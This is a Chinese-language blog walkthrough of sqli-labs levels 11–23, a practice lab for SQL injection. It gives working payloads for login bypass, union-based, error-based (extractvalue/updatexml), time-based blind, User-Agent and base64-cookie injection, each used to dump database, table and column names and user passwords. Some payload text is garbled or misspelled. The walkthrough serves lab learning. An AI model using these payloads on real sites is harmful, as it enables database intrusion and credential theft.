sqli-labs less 11-23关

第十一关 基于错误的POST型单引号字符型注入

第十一关开始进入登录框这种模式,像登陆框这种模式也是可以当成sql语句注入的,你想想啊,它动态的页面,通过post传递值,然后再将post的值写到sql语句中,按照这个想法,那是不是万能注入也能使呢?
试一试。万能注入的语法为“ ‘or ‘1’ = ‘1 ”,双引号里面的。要注意,它的sql语句中用英文写的,所以这儿的万能注入的单引号也得用英文输入。
尝试使用万能注入使用单引号尝试有没有注入点
爆出第一个账号密码说明单引号为本关的post的注入点
Admin’ or ‘1’=‘1
在这里插入图片描述使用and试试
’ and ‘1’=‘2
报错了说明uname存在注入点
在这里插入图片描述测试字符长度
Admin’ order by 2 #
后面的密码随便输也可以不输,都注释掉了,输了有卵用,哈哈
通过测试总共为两列
“#” 用于注释掉sql语句后面的内容,最终查出返回的列数为2列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)
在这里插入图片描述爆当前的数据库
碰到了get注入的老朋友
union联合查询
1’ union select 1,(select database) #
在这里插入图片描述爆所有的数据库
-1’ union select 1,(select group_concat(schema_name) from information_schema.schemata) #
在这里插入图片描述爆表名
-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) #
在这里插入图片描述爆列名
-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) #
在这里插入图片描述爆用户名和密码
-1’ union select 1,(select group_concat(username,0x5c,password) from users)#

在这里插入图片描述

第十二关

测试注入点
试到双引号有提示了,提示有双引号加单括号,尝试下
在这里插入图片描述测试到注入点为
Admin") or ‘1’=‘1’ #
在这里插入图片描述爆数据库
在这里插入图片描述
爆表名
在这里插入图片描述爆列名
在这里插入图片描述爆用户名密码
在这里插入图片描述

第十三关

输对了却啥也没有,说明有注入点也不会回显,这关不能使用联合查询union
在这里插入图片描述寻找注入点
在这里插入图片描述有提示说‘)
试下
在这里插入图片描述没有回显说明是有注入点的
这次我使用extractvalue()函数玩玩

函数解释:

extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
爆数据库版本
uname=-1’) and (extractvalue(1,concat(0x5c,version(),0x5c))) #
在这里插入图片描述当前的数据库
uname=uname=-1’) and (extractvalue(1,concat(0x5c,database(),0x5c))) #
在这里插入图片描述爆表名
uname=-1’) and (extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),0x5c))) #&passwd=&submit=提交
在这里插入图片描述爆字段
uname=-1’) and (extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name=‘users’ limit 1,1),0x5c))) #&passwd=&submit=提交
在这里插入图片描述在这里插入图片描述爆用户名密码
在这里插入图片描述在这里插入图片描述

第十四关

查看源代码
在这里插入图片描述
判断为双引号注入
使用admin" #
在这里插入图片描述爆当前数据库
在这里插入图片描述爆表名
在这里插入图片描述爆列名
用户名字段
在这里插入图片描述密码字段
在这里插入图片描述爆用户名
第一个
在这里插入图片描述爆密码
第一个
在这里插入图片描述

第十五关

第十五,十六关都是基于时间的盲注
一开始输入什么都没有用
尝试sleep休眠报错
查看源代码
在这里插入图片描述
明显看出来是单引号闭合注入
休眠五秒却认为单引号时间注入
在这里插入图片描述爆当前数据库
第一个字母s
在这里插入图片描述
爆第一个表的第一个字母e
在这里插入图片描述第四个表的第一个字母u
在这里插入图片描述爆第一个列名的第一个字母I
在这里插入图片描述第二个列名的第一个字母u
在这里插入图片描述第三个列名第一个字母p
在这里插入图片描述第一个用户名的第一个字母D
在这里插入图片描述第一个密码的第一个字母D
在这里插入图片描述

第十六关

查看源代码为“)闭合符
在这里插入图片描述
休眠五秒
在这里插入图片描述爆当前数据库的第一个字母s
在这里插入图片描述爆第四个表名的第一个字母u
在这里插入图片描述爆第二个列名的第一个字母u
在这里插入图片描述
爆第一个用户名的第一个字母D
在这里插入图片描述
爆第一个密码名的第一个字母D
在这里插入图片描述

第十七关

查看源代码
提问:在看源代码的时候,先进行一次 select 语句,那为什么我们不从 username 处进行构 造呢? 其实我们可以在源代码中看到一个函数。check_input()函数。
在这里插入图片描述单引号闭合
在这里插入图片描述从源码中可以看到:接收到用户POST的uname和passwd后,首先根据uname查询数据库的username和password,若uname存在则用passwd替换password,若不存在则显示slap1.jpg
在用户名正确后,页面便能够返回Mysql错误信息
所以我们决定用报错注入
使用updatexml(),它和extractvaule(),这两个函数原理一样,只是updatexml()多了一个参数,我习惯用extractvaule()
我们开始吧
我们在password表单注入,所以username我们用已知的admin登录,下面就不在重复!
爆当前数据库
uname=admin&passwd=1’ and extractvalue(1,concat(0x5c,(select database()),0x5c)) #&submit=Submit
在这里插入图片描述爆表名
uname=admin&passwd=1’ and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x5c)) #&submit=提交
在这里插入图片描述爆列名
uname=admin&passwd=1’ and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x5c)) #&submit=Submit
在这里插入图片描述爆用户名密码
1’ and updatexml(1,concat(0x5c,(select concat( username,password) from (select username,password from security.use/rs)aa limit 0,1),0x5c),1) #
在这里插入图片描述

第十八关

账号密码正确的结果
在这里插入图片描述源代码
对用户的输入 uname 和 passwd 都做了过滤
在这里插入图片描述
看到源码后,代码中对uname和passwd进行了check_input()函数的处理,所以在输入uname和passwd上进行注入是不行的,但是在代码中,
我们看到了 i n s e r t = " I N S E R T I N T O ‘ s e c u r i t y ‘ . ‘ u a g e n t s ‘ ( ‘ u a g e n t ‘ , ‘ i p a d d r e s s ‘ , ‘ u s e r n a m e ‘ ) V A L U E S ( ‘ insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (‘ insert="INSERTINTOsecurity.uagents(uagent,ipaddress,username)VALUES(uagent‘, ‘$IP‘, $uname)";将useragent和ip插入到数据库中,那么我们是不是可以用这个来进行注入呢?首先这里要输入正确的账号和密码才能绕过账号密码判断,才能进入处理uagent部分,
在这里插入图片描述
只能用bp
爆当前的数据库
'or updatexml(1,concat(0x7e,(database())),1) or ‘1’='1
在这里插入图片描述爆表
‘and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)) and ‘1’='1
在这里插入图片描述爆列
'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)) and ‘1’='1
在这里插入图片描述爆用户名密码
'and extractvalue(1,concat(0x7e,(select group_concat(username,0x5c,password) from users),0x7e)) and ‘1’='1
在这里插入图片描述

第十九关

和十八关是一样的
在这里插入图片描述正常情况
在这里插入图片描述爆当前数据库
'or updatexml(1,concat(0x7e,(database())),1) or ‘1’='1
在这里插入图片描述爆表
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)) and ‘1’='1
在这里插入图片描述爆列
'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)) and ‘1’='1
在这里插入图片描述爆用户名密码
'and extractvalue(1,concat(0x7e,(select group_concat(username,0x5c,password) from users),0x7e)) and ‘1’='1
在这里插入图片描述

第二十关

查看源代码cookie包含uname,cookie从uname中获取数据
带引号闭合
在这里插入图片描述
输入正确登陆后后去一个cookie
在这里插入图片描述查看列
在这里插入图片描述查看当前的数据库
在这里插入图片描述在这里插入图片描述查看所有表
在这里插入图片描述在这里插入图片描述
爆列
在这里插入图片描述在这里插入图片描述爆数据
在这里插入图片描述在这里插入图片描述

第二十一关

查看源码,和前面一样,都是cookie是unmae
在这里插入图片描述
通过查看源代码直到闭合点为单引号和括号
在这里插入图片描述
输入正确登录获取cookie
在这里插入图片描述
在这里插入图片描述打开cookie插件显示一个base64转码过的cookie

在这里插入图片描述解码后为我们输入的uname的值
在这里插入图片描述对要输入的语句编码
在这里插入图片描述获取列数为3

在这里插入图片描述爆当前的数据库
在这里插入图片描述在这里插入图片描述爆表
在这里插入图片描述在这里插入图片描述爆列
在这里插入图片描述在这里插入图片描述爆字段

在这里插入图片描述在这里插入图片描述

第二十二关

查看源代码
base64编码加双引号闭合
在这里插入图片描述
全都输入正确获取cookie
在这里插入图片描述
不知道为啥下面显示22关的文件上面显示人家21关的图片
在这里插入图片描述除了闭合方式不同,它毫无亮点
在这里插入图片描述获取列数
在这里插入图片描述在这里插入图片描述获取当前库
在这里插入图片描述在这里插入图片描述获取所有表
在这里插入图片描述在这里插入图片描述获取所有列
在这里插入图片描述在这里插入图片描述获取数据
在这里插入图片描述在这里插入图片描述

第二十三关

查看源代码
第一感觉就是:单引号?代码这么少?有点陷阱的感觉?
在这里插入图片描述
测试一下还真是单引号闭合
在这里插入图片描述
试试获取列
果真,一列都给我报错
在这里插入图片描述
网上浏览一波,发现没细看代码的失误
在这里插入图片描述
貌似是个PHP函数
在这里插入图片描述但不知道是哪个过滤字符
拿#号试试第一关
正常页面
在这里插入图片描述加个#号不行
在这里插入图片描述
试试主角我们的23关
直接输入#号还不行,还需要URL编码一下,我用这个编码又回去试了试第一关,返回错误,没有被过滤掉,而二十三关把#号过滤掉了
在这里插入图片描述

如何判断被过滤字符?:

GET中?id= (在这里键入测试字符串) 1 屏蔽了# --注释符号,只能闭合绕过
那我们这里就是用and来构造一个可以查与语句的区间吧: 因为前面测得具有回显,所以采取union联合查询
这边发现使用–+或者#注释都会报错,从报错信息看应该是把他们都过滤了,所 以这边使用or ‘1’='1闭合后面的单引号

?id=1’ and ‘1’=‘2
页面无显示说明有注入
在这里插入图片描述
我觉得很有毒
获取字段长度
?id=1’ order by 3 and ‘1’=‘2 //不管你输多少位的数他都是存在的
?id=-1’ order by 3 and ‘1’=‘1 //不管输入多少哪怕低到1他都啥也不显示
就像某些东西被过滤掉了
在这里插入图片描述
后来试着爆库爆表等,返回的都是这个见面,感觉太多的东西都被过滤掉了,根本没办法干下去
再次网上浏览一波,就恰巧发现了之前没注意的闭合方法
爆当前库
?id=’ union select 1,2,database() ’
这个闭合方法就很爽了
在这里插入图片描述
爆表
?id=’ union select 1,2,group_concat(table_name) from informaction_schema.tables where table_schema=‘security’ ’
在这里插入图片描述爆字段
?id=’ union select 1,2,group_concat(column_name) from informaction_schema.columns where table_name=‘users’ ’
在这里插入图片描述
爆数据
?id=’ union select 1,2,(select group_concat(username,0x7e,password) from users) ’
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值